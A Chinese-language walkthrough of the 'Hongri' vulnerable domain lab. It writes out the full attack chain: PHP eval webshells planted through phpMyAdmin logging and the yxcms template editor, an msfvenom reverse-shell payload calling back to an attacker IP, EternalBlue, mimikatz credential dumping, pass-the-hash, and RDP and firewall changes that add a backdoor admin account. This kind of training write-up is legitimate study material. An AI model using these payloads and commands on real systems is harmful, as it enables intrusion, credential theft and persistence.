红日靶场1-打靶记录
仅做合法的学习讨论,如有错误请留言
环境搭建
初始密码为hongrisec@2019
网站拓扑图:
win7
做一下处理:增加网络适配器2,并设置为NAT模式,修改网络适配器1,改为仅主机模式
注意!先是仅主机模式,然后才是NAT模式,顺序很重要!
win2003
将网络连接设置为VMnet1(仅主机模式)
win2008
也将网络适配器设置为VMnet1(仅主机模式)
IP划分如下:
主机 | IP |
---|---|
攻击机kali | 192.168.40.148 |
win7边界服务器 | 外网IP:192.168.40.176;内网IP:192.168.52.143 |
win2003 | 内网IP:192.168.52.141 |
win2008 | 内网IP:192.168.52.138 |
在C盘中找到phpstudy,打开web服务
红日1
信息搜集
探测靶机IP
arp-scan -l
探测开放端口
nmap -Pn -sV -p- 192.168.40.176
开启了80端口和3306端口
web端信息搜集
访问80端口:
dirsearch
扫目录:
dirsearch -u 192.168.40.176 -e * -i 200
敏感文件:/phpinfo.php,/phpmyAdmin/
漏洞利用
phpmyadmin写马
弱口令root/root
登录phpMyAdmin
想要写马,看看有无权限:
SHOW VARIABLES LIKE "secure_file_priv"
发现为NULL,那就是没有权限.如果要修改,只能进入服务器修改MySQL.ini
所以我们可以换其他方法,如写马进全局日志、慢日志
show variables like 'general_log'; #可以查看日志的
# 查看读写是否开启
set global general_log = on; #开启此功能
show variables like 'general_log_file';#查看日志的默认路径
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';#修改路径
发现是OFF,改为ON即可:
慢日志默认路径:
修改默认路径:
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
写马:
select '<?php eval($_POST[cmd]);?>';
蚁剑连shell.php:
yxcms文件上传
在网站根目录下发现了yxcms和beifen.rar,然后可以下载beifen.rar
yxcms应该是一款CMS,而beifen.rar应该是网站的备份文件
访问yxcms:
进入后台,发现有个前台模板:
然后按着前台模板->管理模板文件->新建
建立一句话木马:
<?php @eval($_REQUEST['s']);?>
而根据刚刚下载的备份文件,可以推测muma.php的网页路径:
在http://ip/yxcms/protected/apps/default/view/muma.php找到了木马文件
蚁剑连接:
留言板
此外,在网站首页还发现了留言版:
在管理员审核时触发:
路径:结构管理->留言本
后渗透
后渗透阶段,当我们已经将小马上传到web服务器时,就可以用webshell管理工具进行下一步渗透了。以下是后渗透的步骤,方法不唯一,仅做参考。
CS
CS上线
kali执行:
CS连接:(密码为这里设置的123)
CS设置监听器
CS生成exe病毒
Listener选择刚刚的增加的监听器
然后生成了exe文件,将此文件上传到蚁剑的靶机中,并执行:
cs信息搜集
shell ipconfig
shell whoami
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
shell ipconfig
shell whoami
ipconfig /all # 查看DNS
发现主DNS后缀为god.org,则存在域god.org
net config workstation # 也可以通过这条命令来查看当前计算机名,全名,用户名,
# 系统版本,工作站,域,登录域等全面的信息
PS:通过CS执行命令确实有点慢,可以选择通过蚁剑终端执行命令
2.上面发现DNS服务器名god.org,当前登录域为GOD
net view # 发现了域内还有两台机器
也可以通过CS查看:
3.查看域的组账户信息(工作组)
net group
CS提权
提权
:如果权限不够:
msfconsole
msf上线
主要的思路是将shell派送到CS或msf进行下一步渗透
使用msf生成exe并开启监听(也可以用CS生成exe):
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.40.148 LPORT=1234 -f exe -o /tmp/hack.exe
192.168.40.148和1234都是攻击机kali的
msf中开启监听:
msfdb run # msf6>
use exploit/multi/handler # msf6 exploit(multi/handler) >
set payload windows/x64/meterpreter_reverse_tcp # msf6 exploit(multi/handler) >
set lhost 192.168.40.148# msf6 exploit(multi/handler) >
set lport 1234# msf6 exploit(multi/handler) >
exploit -j # 后台运行
在蚁剑中执行hack.exe:
然后就会发现msf收到shell:
收到shell后以meterpreter>
开头
收到shell后就进入会话了
查看会话:
sessions -i # msf6 exploit(multi/handler) >
# 进入某个会话 :sessions <Id>
sessions -1
# 退出某个会话
background # 或bg
这个"meterpreter"既有靶机终端执行命令的功能,也有msf上调用一些模块和命令的功能
查看是否进入了虚拟机(是否是蜜罐)
run post/windows/gather/checkvm
枚举列出安装在靶机上的应用程序:
run post/windows/gather/enum_applications
# 结果为This is a VMware Virtual Machine时就是虚拟机
查看存活主机:
相当于执行命令:
net view
msf信息搜集
1.msf arp 发现主机,开启状态下才可探测出
run arp_scanner -r 192.168.40.148/24
run post/multi/recon/local_exploit_suggester 查看msf的提权
内网端口扫描:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
#也可以直接:set ports 1-65535 (只是速度很慢)
run
提权
自动提权
getuid # meterpreter >
getsystem # meterpreter >
getuid # 查看是否提权成功 meterpreter >
系统漏洞提权-systeminfo
meterpreter > shell
C:\Users\Administrator\Desktop>chcp 65001
C:\Users\Administrator\Desktop>systeminfo
chcp 65001是为了防止中文乱码
永恒之蓝-无
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run
跨网段横向渗透
横向渗透前,先将该web服务器配置为代理服务器当做跳板
msf socks4a proxychains穿透内网
可用msf直接搭建socks隧道,进入session,自动创建路由:
run post/multi/manage/autoroute
run autoroute -s 192.168.52.0/24 # 添加路由
run autoroute -p # 查看是否添加成功,错误点3
background # 返回,把获得的meterpretr会话暂时放到后台
route print # 输出路由
use auxiliary/server/socks4a # 使用 socks4a模块
set srvport 1080 # 设置端口1080
run # 运行
msf永恒之蓝
开启了多个端口,其中出现了445端口,可能有永恒之蓝:
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run
可能有永恒之蓝
开始攻击:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.40.176 # win7的ip
run
哈希传递攻击(PTH)拿下域控
【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
- 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
- 通过哈希传递攻击尝试登录其他主机;
- 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。
简言之应该就是通过工具获取域控服务器的密码或哈希值,进而拿下域控服务器
msf
hashdump-成功
run windows/gather/smart_hashdump # meterpreter >
即:
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Windows系统下的hash密码格式为: 用户名称:RID:LM-HASH值:NT-HASH值 NT-HASH hash生产方式: 1. 将明文口令转换成十六进制的格式 2. 转换成Unicode格式,即在每个字节之后添加0x00 3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串 eg:用户密码为test123 转换成十六进制的格式为74657374313233 转换成Unicode格式为7400650073007400310032003300 对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1
但是这个只是用户密码的一个hash值,我们在msf里加载kiwi模块
kiwi
load kiwi
load kiwi creds_all #列举所有凭据 creds_kerberos #列举所有kerberos凭据 creds_msv #列举所有msv凭据 creds_ssp #列举所有ssp凭据 creds_tspkg #列举所有tspkg凭据 creds_wdigest #列举所有wdigest凭据 dcsync #通过DCSync检索用户帐户信息 dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create #创建黄金票据 kerberos_ticket_list #列举kerberos票据 kerberos_ticket_purge #清除kerberos票据 kerberos_ticket_use #使用kerberos票据 kiwi_cmd #执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam #dump出lsa的SAM lsa_dump_secrets #dump出lsa的密文 password_change #修改密码 wifi_list #列出当前用户的wifi配置文件 wifi_list_shared #列出共享wifi配置文件/编码
load kiwi # msf6中mimikatz被kiwi替代
ps
migrate 2984 (explorer.exe所在进程)
# 即从x86转到x64 (否则后面报错)
getsystem # 提权
creds_tspkg # 得到明文密码
kiwi_cmd -f sekurlsa::logonpasswords # 得到明文密码和哈希凭证
migrate 2984
这里是在迁移进程,一方面是因为explorer.exe进程比较稳定,一方面是因为它是64位的
注:图中将哈希打成哈西了:)
CS
chcp 65001
CS中的mimikatz和dump hashes
dump hashes
相当于执行:
hashdump
明文-run mimikatz
或直接获取明文密码:
相当于执行命令:
beacon > logonpasswords
CS-PTH攻击
这里使用CS:
通过前面msf的kiwi,和cs的
这里的password即HTLM的值
结果:
3389连接
获得明文密码后就可以通过3389远程连接
3389为远程桌面端口
开启3389:
run post/windows/manage/enable_rdp
nmap -p 3389 192.168.40.176 # kali上运行
其他方法:
#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
#关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
开启远程端口后,结合获得的密码"hongrisec@2019",进行远程桌面连接:
用户名: \\STU1
密码: hongrisec@2019
也可以使用前面新建的用户:
用户名: star 密码: Abcd12345
远程登录成功
如果msf中有win7的shell,那么只需要返回会话并执行命令:
run post/windows/manage/enable_rdp
即可开启远程会话
添加新用户到组
也可以添加用户到Administrators
# 用户名为star,密码为Abcd12345
admin$ qaz123!@#
net user star Abcd12345 /add
# 添加star用户到Administrators组里:
net localgroup Administrators star /add
其他有关的命令:
# 查看当前用户 net user # 查看当前用户组 net localgroup # 查看某个组有哪些用户 net localgroup <组名> net localgroup Administrators